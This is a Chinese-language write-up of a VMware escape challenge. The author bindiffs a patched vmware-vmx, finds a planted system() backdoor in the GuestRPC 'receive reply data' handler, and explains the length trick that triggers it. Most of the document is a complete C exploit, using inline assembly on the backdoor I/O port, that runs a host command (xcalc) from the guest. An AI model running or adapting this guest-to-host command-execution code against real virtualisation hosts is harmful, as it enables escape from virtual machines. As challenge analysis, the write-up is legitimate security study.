文章目录
- 环境搭建
- 漏洞点
- exp
环境搭建
- ubuntu :18.04.01
- vmware: VMware-Workstation-Full-15.5.0-14665864.x86_64.bundle
这里环境搭不成功。。patch过后就报错,不知道咋搞发现可能是IDA加载后的patch似乎不行对原来的patch可能有影响,重新下了patch,发现可以了,但没网。。。。但好像自带vmtools了。。
漏洞点
bindiff 对比原来的vmx和patch过的,发现存在如下修改
被替换为nop并且留了后门
sub_16E220函数开始时通过调用sub_5463D0(1LL)获取一个值v2,用于决定switch语句执行哪个case。对应RPC各个通信
打开 GuestRPC 通道
发送命令长度
发送命令数据
接收回复大小
接收回复数据
发出接收结束信号
关闭频道
bindiff不同位置其对应的反编译代码,属于case 4
发现其中有关于channel的字符串GuestMsg: Channel %u, Not enough memory to receive a message,加上函数开头的switch case判断number的范围为0-6,很容易联想到这就是GuestRPC Handler(是处理 RPC 通信的代码),一个RPC指令处理函数,下面代码只包含了漏洞所在的部分,可以看到这个路径是当subcommand=0x4,也就是Receive reply data的处理部分
case 4u:
v49 = sub_16DE80(6LL, 7LL);
v8 = (_DWORD *)v49;
if ( !v49 )
goto LABEL_62;
LODWORD(v9) = *(_DWORD *)v49;
if ( *(_DWORD *)v49 != 3 )
goto LABEL_20;
if ( *(_BYTE *)(v49 + 8) == 1 )
goto LABEL_48;
if ( !*(_QWORD *)(v49 + 56) )
goto LABEL_90;
if ( (sub_5463D0(3LL) & 1) == 0 )
{
v11 = (__int64)v8;
goto LABEL_81;
}
v36 = (unsigned __int64)&stru_20000;
sub_546480(2LL, &stru_20000);
v50 = (unsigned int)v8[12];
v51 = (unsigned __int16 *)(*((_QWORD *)v8 + 7) + (unsigned int)v8[11] - v50);
if ( (_DWORD)v50 == 2 )
{
v36 = *v51;
v37 = (_BYTE *)(&dword_0 + 3);
sub_546480(3LL, v36);
v52 = v8[12] - 2;
v8[12] = v52;
}
else if ( (_DWORD)v50 == 3 )
{
v37 = (const char *)*((_QWORD *)v8 + 7);
system(v37);
v52 = v8[12] - 3;
v8[12] = v52;
}
else
{
if ( (_DWORD)v50 == 1 )
{
v36 = *(unsigned __int8 *)v51;
v37 = (_BYTE *)(&dword_0 + 3);
sub_546480(3LL, v36);
v52 = v8[12] - 1;
}
else
{
v36 = *(unsigned int *)v51;
v37 = (_BYTE *)(&dword_0 + 3);
sub_546480(3LL, v36);
v52 = v8[12] - 4;
}
v8[12] = v52;
}
if ( !v52 )
*v8 = 4;
LABEL_31:
v44 = sub_533C10(v37, v36, v9);
v19 = 0x10000LL;
*((_QWORD *)v8 + 2) = v44;
goto LABEL_12;
其中 need 表示还未发送数据的长度,在 need >= 4 的时候每次发送 4 字节,最后特判了 need < 4 的情况。而后门函数位于 need == 3 的判断中。
另外通过调试发现 state == 3 出现在 host 向 guest 回复数据的阶段,因此我们需要让 host 向 guest 回复数据长度模 4 余 3 同时 buf 恰好是要执行的命令。
通过调试发现回复数据长度为 info-set guestinfo.x 后面跟的字符串长度加 2,并且执行的命令就是这个字符串(前面拼接了两个字节包含一个字符1 recv rpc data中有提到rpctype前两个字节表示成功还是失败 在 Recieve RPC reply length 中提到过,应答数据的前两个字节始终表示 RPC command 的状态)。最最终need的总个数就是 info-set guestinfo.x 后面跟的字符串长度加2,即1 字符串
,buf就是这个的起始地址,所以system执行指令会执行1 字符串
,为了执行字符串中的指令,所以字符串刚开始有个;来结束,最后我们保证字符串长度加2模4余3就好了(也就是字符串长度模4余1)
这里;
已经包含一个字符了,所以保证剩下的是4的倍数就行了,这里相当任意命令执行了,因为可以通过添加空格来填补,最后添个;或者&,不然虚拟机出问题
然后是执行命令的参数前面固定为1,我在后面加了个;来执行下一条命令,因此最终去执行的命令就是/usr/bin/xcalc ;
exp
#include <ctype.h>
#include <stdint-gcc.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void byte_dump(char *desc, void *addr, int len) {
uint8_t *buf8 = (unsigned char *) addr;
if (desc != NULL) {
printf("[*] %s:\n", desc);
}
for (int i = 0; i < len; i += 16) {
printf(" %04x", i);
for (int j = 0; j < 16; j++) {
i + j < len ? printf(" %02x", buf8[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 16 && j + i < len; j++) {
printf("%c", isprint(buf8[i + j]) ? buf8[i + j] : '.');
}
puts("");
}
}
void channel_open(int *cookie1, int *cookie2, int *channel_num, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%rdi,%%r10\n\t"
"movq %%rsi,%%r11\n\t"
"movq %%rdx,%%r12\n\t"
"movq %%rcx,%%r13\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0xc9435052,%%ebx\n\t"
"movl $0x1e,%%ecx\n\t"
"movl $0x5658,%%edx\n\t"
"out %%eax,%%dx\n\t"
"movl %%edi,(%%r10)\n\t"
"movl %%esi,(%%r11)\n\t"
"movl %%edx,(%%r12)\n\t"
"movl %%ecx,(%%r13)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r8", "%r10", "%r11", "%r12", "%r13");
}
void channel_set_len(int cookie1, int cookie2, int channel_num, int len, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%r8,%%r10\n\t"
"movl %%ecx,%%ebx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0001001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}
void channel_send_data(int cookie1, int cookie2, int channel_num, int len, char *data, int *res) {
asm("pushq %%rbp\n\t"
"movq %%r9,%%r10\n\t"
"movq %%r8,%%rbp\n\t"
"movq %%rcx,%%r11\n\t"
"movq $0,%%r12\n\t"
"1:\n\t"
"movq %%r8,%%rbp\n\t"
"add %%r12,%%rbp\n\t"
"movl (%%rbp),%%ebx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0002001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"addq $4,%%r12\n\t"
"cmpq %%r12,%%r11\n\t"
"ja 1b\n\t"
"movl %%ecx,(%%r10)\n\t"
"popq %%rbp\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");
}
void channel_recv_reply_len(int cookie1, int cookie2, int channel_num, int *len, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%r8,%%r10\n\t"
"movq %%rcx,%%r11\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0003001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
"movl %%ebx,(%%r11)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11");
}
void channel_recv_data(int cookie1, int cookie2, int channel_num, int offset, char *data, int *res) {
asm("pushq %%rbp\n\t"
"movq %%r9,%%r10\n\t"
"movq %%r8,%%rbp\n\t"
"movq %%rcx,%%r11\n\t"
"movq $1,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0004001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"in %%dx,%%eax\n\t"
"add %%r11,%%rbp\n\t"
"movl %%ebx,(%%rbp)\n\t"
"movl %%ecx,(%%r10)\n\t"
"popq %%rbp\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");
}
void channel_recv_finish(int cookie1, int cookie2, int channel_num, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movq $0x1,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0005001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}
void channel_recv_finish2(int cookie1, int cookie2, int channel_num, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movq $0x21,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0005001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}
void channel_close(int cookie1, int cookie2, int channel_num, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0006001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}
typedef struct {
int cookie1;
int cookie2;
int num;
} channel;
void run_cmd(char *cmd) {
channel cannel;
int res, len;
channel_open(&cannel.cookie1, &cannel.cookie2, &cannel.num, &res);
if (!res) {
puts("[-] fail to open channel.");
exit(EXIT_FAILURE);
}
channel_set_len(cannel.cookie1, cannel.cookie2, cannel.num, strlen(cmd), &res);
if (!res) {
puts("[-] fail to set len");
exit(EXIT_FAILURE);
}
channel_send_data(cannel.cookie1, cannel.cookie2, cannel.num, strlen(cmd), cmd, &res);
channel_recv_reply_len(cannel.cookie1, cannel.cookie2, cannel.num, &len, &res);
if (!res) {
puts("[-] fail to recv data len");
exit(EXIT_FAILURE);
}
printf("[*] recv len:%d\n", len);
char *data = malloc(len);
memset(data, 0, len );
for (int i = 0; i < len ; i += 4) {
channel_recv_data(cannel.cookie1, cannel.cookie2, cannel.num, i, data, &res);
}
byte_dump("recv data", data, len );
channel_recv_finish(cannel.cookie1, cannel.cookie2, cannel.num, &res);
if (!res) {
puts("[-] fail to recv finish");
exit(EXIT_FAILURE);
}
channel_close(cannel.cookie1, cannel.cookie2, cannel.num, &res);
if (!res) {
puts("[-] fail to close channel");
exit(EXIT_FAILURE);
}
}
int main() {
run_cmd("info-set guestinfo.x ;/usr/bin/xcalc ;");
run_cmd("info-get guestinfo.x");
return 0;
}
asm中的冒号:
- 第一个冒号后的空字符串表示没有输出操作数。
- 第二个冒号后的空字符串表示没有输入操作数。
- 第三个冒号后的列表是被修改的寄存器列表,用于告知编译器哪些寄存器被嵌入的汇编代码修改了。